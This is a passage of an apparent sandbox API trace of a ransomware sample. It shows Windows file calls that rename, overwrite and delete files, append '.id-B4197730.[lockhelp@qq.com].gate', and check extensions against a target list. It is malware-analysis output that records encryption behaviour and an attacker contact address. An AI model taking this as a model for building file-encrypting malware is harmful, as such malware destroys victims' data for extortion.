shared\\clicktorun\\vcruntime140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0279.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0279.895] lstrlenW (lpString=".doc") returned 4 [0279.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString=".docx") returned 5 [0279.896] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.896] lstrlenW (lpString=".pdf") returned 4 [0279.896] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString=".xls") returned 4 [0279.896] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString=".xlsx") returned 5 [0279.896] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.896] lstrlenW (lpString=".ppt") returned 4 [0279.896] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0279.896] lstrlenW (lpString=".zip") returned 4 [0279.896] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString=".rar") returned 4 [0279.896] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.896] lstrlenW (lpString=".bz2") returned 4 [0279.896] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.896] lstrlenW (lpString=".7z") returned 3 [0279.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0279.896] lstrlenW (lpString=".dbf") returned 4 [0279.896] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0282.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0291.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0298.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0298.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0298.713] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc64 | out: lpNewFilePointer=0x0) returned 1 [0298.713] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc24 | out: lpNewFilePointer=0x0) returned 1 [0298.713] ReadFile (in: hFile=0x414, lpBuffer=0x46fd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b3fc30, lpOverlapped=0x0 | out: lpBuffer=0x46fd058*, lpNumberOfBytesRead=0x3b3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0298.716] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc24 | out: lpNewFilePointer=0x0) returned 1 [0298.716] ReadFile (in: hFile=0x414, lpBuffer=0x473d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b3fc30, lpOverlapped=0x0 | out: lpBuffer=0x473d058*, lpNumberOfBytesRead=0x3b3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0298.721] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0298.721] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc24 | out: lpNewFilePointer=0x0) returned 1 [0298.721] ReadFile (in: hFile=0x414, lpBuffer=0x477d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b3fc30, lpOverlapped=0x0 | out: lpBuffer=0x477d058*, lpNumberOfBytesRead=0x3b3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0298.744] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.744] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3b3fca8, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0298.759] SetEndOfFile (hFile=0x414) returned 1 [0298.759] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40000) returned 0x4671f00 [0298.762] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc74 | out: lpNewFilePointer=0x0) returned 1 [0298.762] WriteFile (in: hFile=0x414, lpBuffer=0x4671f00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4671f00*, lpNumberOfBytesWritten=0x3b3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0298.764] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc74 | out: lpNewFilePointer=0x0) returned 1 [0298.764] WriteFile (in: hFile=0x414, lpBuffer=0x4671f00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4671f00*, lpNumberOfBytesWritten=0x3b3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0298.774] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fc74 | out: lpNewFilePointer=0x0) returned 1 [0298.774] WriteFile (in: hFile=0x414, lpBuffer=0x4671f00*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4671f00*, lpNumberOfBytesWritten=0x3b3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0298.776] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4671f00 | out: hHeap=0x6e0000) returned 1 [0298.778] CloseHandle (hObject=0x414) returned 1 [0298.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x21) returned 1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.779] lstrlenW (lpString=".doc") returned 4 [0298.779] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0298.779] lstrlenW (lpString=".docx") returned 5 [0298.779] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0298.779] lstrlenW (lpString=".pdf") returned 4 [0298.779] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0298.779] lstrlenW (lpString=".xls") returned 4 [0298.779] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0298.779] lstrlenW (lpString=".xlsx") returned 5 [0298.779] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0298.779] lstrlenW (lpString=".ppt") returned 4 [0298.779] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0298.779] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.779] lstrlenW (lpString=".zip") returned 4 [0298.779] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0298.780] lstrlenW (lpString=".rar") returned 4 [0298.780] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0298.780] lstrlenW (lpString=".bz2") returned 4 [0298.780] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0298.780] lstrlenW (lpString=".7z") returned 3 [0298.780] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.780] lstrlenW (lpString=".dbf") returned 4 [0298.780] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.780] lstrlenW (lpString=".1cd") returned 4 [0298.780] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.780] lstrlenW (lpString=".jpg") returned 4 [0298.780] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.780] lstrlenW (lpString=".doc") returned 4 [0298.780] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0298.780] lstrlenW (lpString=".docx") returned 5 [0298.780] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0298.780] lstrlenW (lpString=".pdf") returned 4 [0298.780] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0298.780] lstrlenW (lpString=".xls") returned 4 [0298.780] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0298.780] lstrlenW (lpString=".xlsx") returned 5 [0298.781] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0298.781] lstrlenW (lpString=".ppt") returned 4 [0298.781] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0298.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.781] lstrlenW (lpString=".zip") returned 4 [0298.782] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0298.782] lstrlenW (lpString=".rar") returned 4 [0298.782] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0298.782] lstrlenW (lpString=".bz2") returned 4 [0298.782] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0298.782] lstrlenW (lpString=".7z") returned 3 [0298.782] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0298.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.782] lstrlenW (lpString=".dbf") returned 4 [0298.782] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0298.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.782] lstrlenW (lpString=".1cd") returned 4 [0298.782] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0298.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0298.782] lstrlenW (lpString=".jpg") returned 4 [0298.782] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0298.783] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".gate") returned -1 [0298.783] lstrlenW (lpString="cacerts") returned 7 [0298.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0298.783] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=114923) returned 1 [0298.783] CloseHandle (hObject=0x414) returned 1 [0298.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0298.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0298.784] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.784] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0298.786] GetLastError () returned 0x0 [0298.786] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0299.047] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0299.050] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.050] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.050] SetEndOfFile (hFile=0x564) returned 1 [0299.050] CloseHandle (hObject=0x564) returned 1 [0299.050] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.050] SetEndOfFile (hFile=0x414) returned 1 [0299.053] CloseHandle (hObject=0x414) returned 1 [0299.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.054] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0299.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.054] lstrlenW (lpString=".doc") returned 4 [0299.054] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0299.054] lstrlenW (lpString=".docx") returned 5 [0299.054] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0299.054] lstrlenW (lpString=".pdf") returned 4 [0299.054] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0299.054] lstrlenW (lpString=".xls") returned 4 [0299.054] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0299.054] lstrlenW (lpString=".xlsx") returned 5 [0299.054] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0299.054] lstrlenW (lpString=".ppt") returned 4 [0299.054] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0299.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.054] lstrlenW (lpString=".zip") returned 4 [0299.055] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".rar") returned 4 [0299.055] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".bz2") returned 4 [0299.055] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".7z") returned 3 [0299.055] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString=".dbf") returned 4 [0299.055] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString=".1cd") returned 4 [0299.055] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString=".jpg") returned 4 [0299.055] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString=".doc") returned 4 [0299.055] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".docx") returned 5 [0299.055] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0299.055] lstrlenW (lpString=".pdf") returned 4 [0299.055] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".xls") returned 4 [0299.055] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".xlsx") returned 5 [0299.055] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0299.055] lstrlenW (lpString=".ppt") returned 4 [0299.055] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.055] lstrlenW (lpString=".zip") returned 4 [0299.055] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0299.055] lstrlenW (lpString=".rar") returned 4 [0299.055] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0299.056] lstrlenW (lpString=".bz2") returned 4 [0299.056] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0299.056] lstrlenW (lpString=".7z") returned 3 [0299.056] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.056] lstrlenW (lpString=".dbf") returned 4 [0299.056] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.056] lstrlenW (lpString=".1cd") returned 4 [0299.056] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0299.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0299.056] lstrlenW (lpString=".jpg") returned 4 [0299.056] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0299.056] lstrcmpiW (lpString1=".policy", lpString2=".gate") returned 1 [0299.056] lstrlenW (lpString="javaws.policy") returned 13 [0299.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.069] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=98) returned 1 [0299.069] CloseHandle (hObject=0x414) returned 1 [0299.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0299.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.069] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.070] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.070] GetLastError () returned 0x0 [0299.070] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x62, lpOverlapped=0x0) returned 1 [0299.071] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x70, lpOverlapped=0x0) returned 1 [0299.074] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.074] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xee, lpOverlapped=0x0) returned 1 [0299.074] SetEndOfFile (hFile=0x564) returned 1 [0299.074] CloseHandle (hObject=0x564) returned 1 [0299.074] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.074] SetEndOfFile (hFile=0x414) returned 1 [0299.077] CloseHandle (hObject=0x414) returned 1 [0299.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.078] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.078] lstrlenW (lpString=".doc") returned 4 [0299.078] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0299.078] lstrlenW (lpString=".docx") returned 5 [0299.078] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0299.078] lstrlenW (lpString=".pdf") returned 4 [0299.078] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0299.078] lstrlenW (lpString=".xls") returned 4 [0299.078] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0299.078] lstrlenW (lpString=".xlsx") returned 5 [0299.078] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0299.078] lstrlenW (lpString=".ppt") returned 4 [0299.078] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".zip") returned 4 [0299.079] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString=".rar") returned 4 [0299.079] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString=".bz2") returned 4 [0299.079] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString=".7z") returned 3 [0299.079] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".dbf") returned 4 [0299.079] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".1cd") returned 4 [0299.079] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".jpg") returned 4 [0299.079] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".doc") returned 4 [0299.079] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 